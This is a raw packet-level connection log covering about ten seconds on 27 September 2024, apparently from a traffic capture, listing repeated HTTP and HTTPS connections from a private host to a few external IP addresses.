Sep 27, 2024 17:42:50.218101025 CEST	443	49832	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:50.218111038 CEST	443	49832	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:50.270520926 CEST	49831	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:50.271136999 CEST	49834	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:50.292521000 CEST	80	49834	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:50.292632103 CEST	49834	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:50.292896032 CEST	80	49831	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:50.292977095 CEST	49831	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:50.296418905 CEST	49834	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:50.301258087 CEST	80	49834	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:50.506676912 CEST	443	49833	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:50.506798029 CEST	443	49833	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:50.506860018 CEST	49833	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:50.508985996 CEST	49833	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:50.509035110 CEST	443	49833	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:50.509067059 CEST	49833	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:50.509082079 CEST	443	49833	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:51.015335083 CEST	80	49834	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:51.015404940 CEST	49834	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:51.016426086 CEST	49834	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:51.023520947 CEST	80	49834	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:51.241101027 CEST	80	49834	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:51.241204023 CEST	49834	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:51.350713968 CEST	49834	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:51.351361990 CEST	49835	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:51.355874062 CEST	80	49834	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:51.355930090 CEST	49834	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:51.356467962 CEST	80	49835	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:51.356554031 CEST	49835	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:51.359771013 CEST	49835	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:51.364614964 CEST	80	49835	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:51.374659061 CEST	49836	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:51.374702930 CEST	443	49836	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:51.374808073 CEST	49836	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:51.375256062 CEST	49836	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:51.375269890 CEST	443	49836	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:51.894952059 CEST	443	49836	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:51.895045042 CEST	49836	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:52.086167097 CEST	80	49835	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:52.087430000 CEST	49835	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:52.117333889 CEST	49836	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:52.117358923 CEST	443	49836	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:52.117834091 CEST	443	49836	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:52.118597984 CEST	49836	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:52.120803118 CEST	49835	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:52.125653982 CEST	80	49835	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:52.163399935 CEST	443	49836	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:52.350513935 CEST	80	49835	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:52.350604057 CEST	49835	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:52.460279942 CEST	49835	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:52.460619926 CEST	49837	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:52.465414047 CEST	80	49837	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:52.465614080 CEST	80	49835	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:52.465704918 CEST	49835	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:52.465709925 CEST	49837	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:52.465869904 CEST	49837	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:52.470674992 CEST	80	49837	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:52.512883902 CEST	443	49836	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:52.513003111 CEST	443	49836	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:52.513140917 CEST	49836	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:52.513329983 CEST	49836	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:52.513344049 CEST	443	49836	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:52.513354063 CEST	49836	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:52.513360023 CEST	443	49836	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:52.870645046 CEST	49838	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:52.870687008 CEST	443	49838	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:52.870892048 CEST	49838	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:52.871206045 CEST	49838	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:52.871221066 CEST	443	49838	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:53.176367998 CEST	80	49837	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:53.176443100 CEST	49837	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:53.177192926 CEST	49837	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:53.182079077 CEST	80	49837	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:53.347132921 CEST	443	49838	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:53.347232103 CEST	49838	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:53.349731922 CEST	49838	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:53.349740982 CEST	443	49838	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:53.350074053 CEST	443	49838	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:53.350872993 CEST	49838	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:53.395405054 CEST	443	49838	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:53.412367105 CEST	80	49837	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:53.412491083 CEST	49837	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:53.520437002 CEST	49837	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:53.520864964 CEST	49839	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:53.525679111 CEST	80	49837	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:53.525738001 CEST	80	49839	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:53.525744915 CEST	49837	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:53.525799036 CEST	49839	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:53.533193111 CEST	49839	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:53.538196087 CEST	80	49839	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:53.782495975 CEST	443	49838	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:53.782598972 CEST	443	49838	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:53.782789946 CEST	49838	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:53.783166885 CEST	49838	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:53.783179998 CEST	443	49838	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:53.783190966 CEST	49838	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:53.783195019 CEST	443	49838	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:54.108501911 CEST	49840	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:54.108597040 CEST	443	49840	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:54.108710051 CEST	49840	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:54.109011889 CEST	49840	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:54.109045029 CEST	443	49840	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:54.235832930 CEST	80	49839	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:54.237375021 CEST	49839	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:54.567289114 CEST	443	49840	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:54.567405939 CEST	49840	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:54.633291006 CEST	49839	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:54.638523102 CEST	80	49839	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:54.701809883 CEST	49840	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:54.701891899 CEST	443	49840	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:54.702240944 CEST	443	49840	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:54.703639030 CEST	49840	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:54.747427940 CEST	443	49840	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:54.861355066 CEST	80	49839	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:54.861459970 CEST	49839	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:54.942162991 CEST	443	49840	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:54.942255974 CEST	443	49840	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:54.943977118 CEST	49840	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:54.944081068 CEST	49840	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:54.944123030 CEST	443	49840	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:54.944158077 CEST	49840	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:54.944174051 CEST	443	49840	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:54.976919889 CEST	49839	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:54.977238894 CEST	49841	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:54.982134104 CEST	80	49841	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:54.982300997 CEST	80	49839	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:54.982382059 CEST	49839	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:54.982399940 CEST	49841	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:54.982584000 CEST	49841	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:54.987555981 CEST	80	49841	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:54.999325037 CEST	49842	443	192.168.2.4	140.82.121.3
Sep 27, 2024 17:42:54.999378920 CEST	443	49842	140.82.121.3	192.168.2.4
Sep 27, 2024 17:42:54.999449015 CEST	49842	443	192.168.2.4	140.82.121.3
Sep 27, 2024 17:42:55.003284931 CEST	49842	443	192.168.2.4	140.82.121.3
Sep 27, 2024 17:42:55.003304005 CEST	443	49842	140.82.121.3	192.168.2.4
Sep 27, 2024 17:42:55.168757915 CEST	49843	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:55.168828964 CEST	443	49843	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:55.168975115 CEST	49843	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:55.169439077 CEST	49843	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:55.169466972 CEST	443	49843	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:55.290050983 CEST	49844	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:55.290106058 CEST	443	49844	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:55.290299892 CEST	49844	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:55.291513920 CEST	49844	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:55.291526079 CEST	443	49844	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:55.631442070 CEST	443	49843	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:55.631546021 CEST	49843	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:55.632819891 CEST	49843	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:55.632852077 CEST	443	49843	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:55.633119106 CEST	443	49843	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:55.633953094 CEST	49843	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:55.636605978 CEST	443	49842	140.82.121.3	192.168.2.4
Sep 27, 2024 17:42:55.636704922 CEST	49842	443	192.168.2.4	140.82.121.3
Sep 27, 2024 17:42:55.638483047 CEST	49842	443	192.168.2.4	140.82.121.3
Sep 27, 2024 17:42:55.638499022 CEST	443	49842	140.82.121.3	192.168.2.4
Sep 27, 2024 17:42:55.638859034 CEST	443	49842	140.82.121.3	192.168.2.4
Sep 27, 2024 17:42:55.679409981 CEST	443	49843	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:55.687861919 CEST	80	49841	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:55.688035965 CEST	49841	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:55.688625097 CEST	49841	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:55.693350077 CEST	49842	443	192.168.2.4	140.82.121.3
Sep 27, 2024 17:42:55.693352938 CEST	80	49841	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:55.739398003 CEST	443	49842	140.82.121.3	192.168.2.4
Sep 27, 2024 17:42:55.766452074 CEST	443	49844	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:55.766525984 CEST	49844	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:55.767837048 CEST	49844	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:55.767848969 CEST	443	49844	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:55.768168926 CEST	443	49844	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:55.769021034 CEST	49844	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:55.815406084 CEST	443	49844	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:55.899923086 CEST	443	49842	140.82.121.3	192.168.2.4
Sep 27, 2024 17:42:55.902848005 CEST	443	49842	140.82.121.3	192.168.2.4
Sep 27, 2024 17:42:55.902936935 CEST	443	49842	140.82.121.3	192.168.2.4
Sep 27, 2024 17:42:55.902935028 CEST	49842	443	192.168.2.4	140.82.121.3
Sep 27, 2024 17:42:55.903026104 CEST	49842	443	192.168.2.4	140.82.121.3
Sep 27, 2024 17:42:55.905102015 CEST	49842	443	192.168.2.4	140.82.121.3
Sep 27, 2024 17:42:55.915740967 CEST	80	49841	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:55.915832043 CEST	49841	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:56.020883083 CEST	49841	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:56.021190882 CEST	49845	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:56.026030064 CEST	80	49845	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:56.026098013 CEST	49845	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:56.026125908 CEST	80	49841	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:56.026176929 CEST	49841	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:56.026388884 CEST	49845	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:56.031153917 CEST	80	49845	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:56.076231003 CEST	443	49843	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:56.076811075 CEST	443	49843	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:56.076940060 CEST	49843	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:56.077148914 CEST	49843	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:56.077194929 CEST	443	49843	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:56.077224016 CEST	49843	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:56.077239990 CEST	443	49843	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:56.176706076 CEST	443	49844	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:56.176826000 CEST	443	49844	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:56.177737951 CEST	49844	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:56.224059105 CEST	49844	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:56.224083900 CEST	443	49844	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:56.335350990 CEST	49846	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:56.335402012 CEST	443	49846	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:56.335577965 CEST	49846	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:56.335982084 CEST	49846	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:56.335998058 CEST	443	49846	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:56.642117977 CEST	49847	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:56.642159939 CEST	443	49847	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:56.642258883 CEST	49847	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:56.642817020 CEST	49847	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:56.642831087 CEST	443	49847	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:56.763569117 CEST	80	49845	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:56.763628006 CEST	49845	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:56.764302015 CEST	49845	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:56.771935940 CEST	80	49845	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:56.798089027 CEST	443	49846	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:56.798170090 CEST	49846	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:56.799619913 CEST	49846	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:56.799628019 CEST	443	49846	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:56.799995899 CEST	443	49846	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:56.800795078 CEST	49846	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:56.847399950 CEST	443	49846	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:57.000869989 CEST	80	49845	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:57.001137972 CEST	49845	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:57.247339010 CEST	49845	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:57.251054049 CEST	49848	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:57.314769983 CEST	443	49846	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:57.315000057 CEST	443	49846	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:57.315033913 CEST	443	49847	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:57.315067053 CEST	49846	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:57.315107107 CEST	49847	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:57.316293955 CEST	80	49848	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:57.316313028 CEST	80	49845	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:57.316402912 CEST	49845	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:57.316416979 CEST	49848	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:57.372451067 CEST	49846	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:57.372490883 CEST	443	49846	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:57.375807047 CEST	49848	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:57.380925894 CEST	80	49848	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:57.424669027 CEST	49847	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:57.424709082 CEST	443	49847	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:57.425144911 CEST	443	49847	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:57.500971079 CEST	49847	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:57.515204906 CEST	49847	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:57.555412054 CEST	443	49847	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:57.744354963 CEST	49849	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:57.744405031 CEST	443	49849	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:57.744462967 CEST	49849	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:57.747149944 CEST	49849	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:57.747165918 CEST	443	49849	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:57.905369997 CEST	443	49847	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:57.905807972 CEST	443	49847	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:57.905941963 CEST	49847	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:57.906143904 CEST	49847	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:57.906167030 CEST	443	49847	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:57.906178951 CEST	49847	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:57.906184912 CEST	443	49847	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:58.039949894 CEST	80	49848	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:58.040015936 CEST	49848	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:58.040699005 CEST	49848	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:58.045465946 CEST	80	49848	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:58.216350079 CEST	443	49849	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:58.216434956 CEST	49849	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:58.217760086 CEST	49849	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:58.217768908 CEST	443	49849	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:58.218555927 CEST	443	49849	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:58.219816923 CEST	49849	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:58.267417908 CEST	443	49849	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:58.272742987 CEST	80	49848	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:58.273175955 CEST	49848	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:58.379849911 CEST	49848	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:58.380194902 CEST	49850	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:58.385795116 CEST	80	49850	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:58.385827065 CEST	80	49848	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:58.385869026 CEST	49850	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:58.385889053 CEST	49848	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:58.386059999 CEST	49850	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:58.391747952 CEST	80	49850	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:58.467793941 CEST	443	49849	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:58.468060970 CEST	443	49849	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:58.468130112 CEST	49849	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:58.468211889 CEST	49849	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:58.468241930 CEST	443	49849	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:58.468255043 CEST	49849	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:58.468262911 CEST	443	49849	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:58.558422089 CEST	49851	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:58.558473110 CEST	443	49851	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:58.558742046 CEST	49851	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:58.560009003 CEST	49851	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:58.560024023 CEST	443	49851	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:58.726267099 CEST	49852	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:58.726357937 CEST	443	49852	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:58.726448059 CEST	49852	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:58.726752996 CEST	49852	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:58.726793051 CEST	443	49852	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:59.023612022 CEST	443	49851	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:59.023695946 CEST	49851	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:59.028336048 CEST	49851	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:59.028347969 CEST	443	49851	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:59.028667927 CEST	443	49851	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:59.029563904 CEST	49851	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:59.071444988 CEST	443	49851	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:59.085181952 CEST	80	49850	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:59.085341930 CEST	49850	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:59.086059093 CEST	49850	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:59.090873957 CEST	80	49850	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:59.186939955 CEST	443	49852	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:59.187073946 CEST	49852	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:59.188261032 CEST	49852	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:59.188292027 CEST	443	49852	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:59.188633919 CEST	443	49852	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:59.189476967 CEST	49852	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:59.231431961 CEST	443	49852	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:59.314188004 CEST	80	49850	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:59.315965891 CEST	49850	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:59.428193092 CEST	49850	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:59.429255962 CEST	49853	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:59.434278011 CEST	80	49853	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:59.434369087 CEST	49853	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:59.434602976 CEST	80	49850	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:59.434667110 CEST	49850	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:59.436224937 CEST	49853	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:59.441422939 CEST	80	49853	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:59.443219900 CEST	443	49851	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:59.443335056 CEST	443	49851	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:59.443571091 CEST	49851	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:59.443818092 CEST	49851	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:59.443834066 CEST	443	49851	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:59.603265047 CEST	443	49852	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:59.603398085 CEST	443	49852	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:59.603491068 CEST	49852	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:59.603703022 CEST	49852	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:59.603734016 CEST	443	49852	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:59.603749990 CEST	49852	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:59.603758097 CEST	443	49852	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:00.127280951 CEST	80	49853	185.215.113.16	192.168.2.4
